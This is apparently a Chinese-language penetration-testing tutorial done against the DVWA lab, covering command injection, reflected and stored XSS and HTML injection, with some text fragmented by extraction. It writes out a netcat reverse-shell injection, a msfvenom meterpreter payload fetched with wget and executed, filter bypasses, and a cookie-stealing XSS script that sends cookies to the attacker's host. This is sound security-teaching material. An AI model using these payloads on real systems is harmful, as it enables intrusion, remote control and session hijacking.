今天分享的是網站應用滲透測試的第2個部分,
主要介紹的部分是:Command Injection; XSS; HTML Injection
;
或 &&
)的 IP 地址來測試是否存在命令注入漏洞。ls
或 whoami
),我們確認該網站存在命令注入漏洞。;
或 &&
,接著加上我們想執行的命令(如 ls -la
或 whoami
)。我們在 Kali Linux 上設置了一個 Netcat 監聽器,使用命令 nc -lvp 12345
,來等待目標系統的連接。
然後,我們在目標網站中輸入以下命令來觸發反向 shell:
192.168.1.1; nc -e /bin/bash 192.168.1.9 12345
成功執行後,我們在 Kali Linux 上的 Netcat 監聽器中獲得了目標系統的反向 shell。
通過這種方式,我們成功地在目標系統上執行了命令並獲得了系統的控制權。我們還嘗試了在不同安全級別下進行命令注入,並分析了網站源代碼,發現不同安全級別下,網站對命令的過濾機制。
msfvenom
生成了一個 Python meterpreter 反向 TCP shell payload。這個 payload 將用於在目標系統上創建一個持久的控制會話。wget
命令下載它。wget
命令,從我們的 Apache2 伺服器下載 Python payload,並通過 Python 解釋器執行它。生成 Python Payload:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=6000 -o tester.py
這個命令會生成一個名為 tester.py
的 Python payload,當執行這個 payload 時,它會嘗試連接到我們的 Kali Linux 機器上。
啟動 Apache2 伺服器並托管 Payload:
sudo service apache2 start
sudo cp tester.py /var/www/html/
這會將我們生成的 tester.py
文件複製到 /var/www/html/
目錄,從而使其可以通過訪問 http://192.168.1.9/tester.py
來下載。
在目標系統上下載並執行 Payload:
使用命令注入漏洞,我們在目標系統的命令注入頁面上輸入以下命令:
然後執行下載的 tester.py
文件:
這將在目標系統上執行我們的 Python payload。
192.168.1.1; wget <http://192.168.1.9/tester.py>
python tester.py
設置 MSFconsole 監聽器並捕獲連接:
在 Kali Linux 上,打開 MSFconsole 並設置監聽器來等待目標系統的連接:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.1.9
set LPORT 6000
run

當目標系統執行 tester.py
時,MSFconsole 將捕獲該連接並提供一個完整的 Meterpreter shell。
通過這種方式,我們成功地利用了命令注入漏洞,在目標系統上獲取了更強大的控制權限。這次我們使用了 Python meterpreter payload,而不是單純的 Netcat shell,這使我們能夠進行更復雜和更有效的滲透測試。
接下來要分享關於反射型跨站腳本攻擊 (Reflected XSS) 的概念及其應用。我們通過使用 DVWA (Damn Vulnerable Web Application) 測試平台展示了如何在網頁上找到並利用反射型 XSS 漏洞來執行 JavaScript 代碼。
<script>alert('1');</script>
來測試是否能夠觸發 XSS 漏洞。script
標籤),我們仍然能夠繞過過濾機制,成功執行 JavaScript 代碼。<script>alert('haha');</script>
,查看是否彈出對話框。<SCRIPT>alert('haha');</SCRIPT>
或分解的 script
標籤,確認是否能繞過過濾機制。設置一個 Python HTTP 伺服器來接收 Cookie:
python3 -m http.server --bind <kali的ip> 8000
編寫並輸入以下 JavaScript 代碼來竊取 Cookie:
<SCRIPT>document.write('<img src="<http://<kali的ip>:8000?cookie='+document.cookie+'>">');</SCRIPT>
當受害者訪問我們的惡意鏈接後,他們的 Cookie 將被發送到我們的伺服器上。
反射型 XSS 漏洞可能看似簡單,但它們能夠造成嚴重的安全隱患,尤其是在 Cookie 竊取和會話劫持的情況下。通過本次講解,我們學習了如何發現和利用這種漏洞,並瞭解了如何通過創建和使用惡意鏈接來進行攻擊。
<script>alert('haha');</script>
,發現該代碼在頁面上成功執行,並且每次訪問該頁面時都會重新執行這段代碼。maxLength
屬性,繞過了字符數量的限制,並且通過使用大寫字母的 SCRIPT
標籤繞過了過濾,成功執行了惡意代碼。script
、img
等可能用於注入惡意代碼的標籤。儲存型 XSS 是一種非常危險的攻擊方式,因為它能夠持久存在並影響到所有訪問受感染頁面的用戶。在實際應用中,攻擊者可以利用這一漏洞來竊取用戶的敏感信息,進行釣魚攻擊,甚至劫持用戶會話。通過正確的輸入過濾和編碼,可以有效防止此類攻擊。
接下來要分享關於 HTML 注入(HTML Injection)漏洞,並展示如何利用該漏洞來操控網頁的外觀和行為。HTML 注入與 XSS 類似,但它主要涉及將 HTML 代碼注入到網頁中,而不是 JavaScript 代碼。
HTML 注入是一種網頁漏洞,允許攻擊者將自定義的 HTML 代碼插入到網頁中。如果沒有適當的過濾或轉義,這些代碼將被伺服器解釋並呈現在網頁上。儘管這看似不如 XSS 危險,但它仍然可能造成嚴重的後果,特別是在攻擊者可以修改頁面外觀或將訪問者重定向到惡意網站時。
<h1>Test</h1>
,以查看網頁是否解釋為 HTML 代碼。結果顯示頁面確實將我們的輸入解釋為 HTML,這證明了存在 HTML 注入漏洞。<meta http-equiv="refresh" content="0;url=http://google.com/">
代碼,頁面自動重定向到指定的 URL,這可能用於將用戶引導至釣魚網站。為了防止 HTML 注入攻擊,網站開發者應該:
<
, >
, "
等特殊字符進行轉義。HTML 注入雖然不如 XSS 常見或危險,但它仍然是一個潛在的漏洞,特別是在攻擊者可以操控頁面外觀或進行頁面重定向的情況下。通過適當的防範措施,可以有效避免這類攻擊對網站造成的危害。